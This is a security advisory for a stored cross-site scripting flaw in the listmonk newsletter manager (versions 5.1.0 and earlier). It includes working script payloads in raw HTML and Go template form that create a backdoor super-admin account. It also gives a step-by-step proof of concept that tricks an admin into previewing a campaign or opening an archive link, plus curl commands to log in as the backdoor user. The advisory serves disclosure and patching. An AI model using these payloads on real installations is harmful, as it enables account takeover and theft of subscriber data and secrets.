PT-2026-6442 — XSS in Go Github.Com/Knadh/Listmonk

PT-2026-6442 · Go · Github.Com/Knadh/Listmonk

Published

2026-01-02

Updated

2026-01-02

CVSS v4.0

5.4

Medium

Vector

AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P

Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0 Vulnerability Type: CWE-79: Stored Cross-Site Scripting

Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.

Required Attacker Permissions

campaigns:manage  - Create/edit campaigns
campaigns:get    - View campaigns 
lists:get all    - Access lists
templates:get    - Access templates

Note: These are common permissions for content managers who are not full admins.

Attack Vectors

Vector 1: Raw HTML (Direct Script Tag)

html

<script>
fetch('/api/users', {
 method: 'POST',
 headers: {'Content-Type': 'application/json'},
 credentials: 'include',
 body: '{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user role id":1}'
});
</script>

Vector 2: Go Template `Safe` Function

{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user role id":1}'});</script>` | Safe }}

Attack Scenarios

Scenario 1: Campaign Preview Attack

Attacker creates campaign with XSS payload
Request is made to super admin: "Please review my newsletter draft"
Super admin opens campaign and clicks Preview
XSS executes → Backdoor admin account created
Attacker logs in with backdoor / Hacked123

Scenario 2: Archive Link Attack (No Click Required)

Attacker creates campaign with XSS payload
Attacker enables Archive for the campaign
Attacker shares archive link: http://localhost:9000/archive/{uuid}
Super admin visits the link (no preview click needed!)
XSS executes automatically → Account takeover

Proof of Concept

Step 1: Create Malicious Campaign

As lower-privileged user, create campaign with body:

html

<script>
fetch('/api/users', {
 method: 'POST',
 headers: {'Content-Type': 'application/json'},
 credentials: 'include',
 body: JSON.stringify({
  username: 'backdoor',
  email: 'backdoor@evil.com', 
  name: 'Backdoor Admin',
  password: 'Hacked123',
  type: 'user',
  status: 'enabled',
  userRoleId: 1,
  user role id: 1
 })
});
</script>

Step 2: Enable Archive (Optional - for link-based attack)

Edit campaign settings
Enable "Archive"
Copy archive URL: http://localhost:9000/archive/{campaign-uuid}

Step 3: Trigger Execution

Option A - Preview:

Send campaign to super admin for "review"
Super admin previews → XSS fires

Option B - Archive Link:

Share archive URL with super admin
Super admin visits link → XSS fires automatically

Step 4: Verify Takeover

bash

# Login as backdoor admin
curl -X POST "http://localhost:9000/admin/login" 
 -d "username=backdoor&password=Hacked123" 
 -c cookies.txt -L

# Verify super admin access
curl -b cookies.txt "http://localhost:9000/api/users"

Evidence Screenshots

[Screenshot 1: Lower-privileged user creating malicious campaign]

[Screenshot 2: Super admin previewing campaign]

[Screenshot 3: Backdoor user successfully created]

Impact

Action	Possible via XSS
Create backdoor admin	✅ Yes
Export all subscribers	✅ Yes
Modify SMTP settings	✅ Yes
Delete all campaigns	✅ Yes
Access API keys/secrets	✅ Yes

Affected Components

Component	XSS Works?	Method
Campaign body (Raw HTML)	✅ Yes	Direct `<script>` tag
Campaign body (Template)	✅ Yes	`{{` `
Template body	✅ Yes	Both methods
Campaign archive	✅ Yes	Automatic execution on visit

Fix

XSS

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Weakness Enumeration

CWE-79

Related Identifiers

GHSA-JMR4-P576-V565

Affected Products

Github.Com/Knadh/Listmonk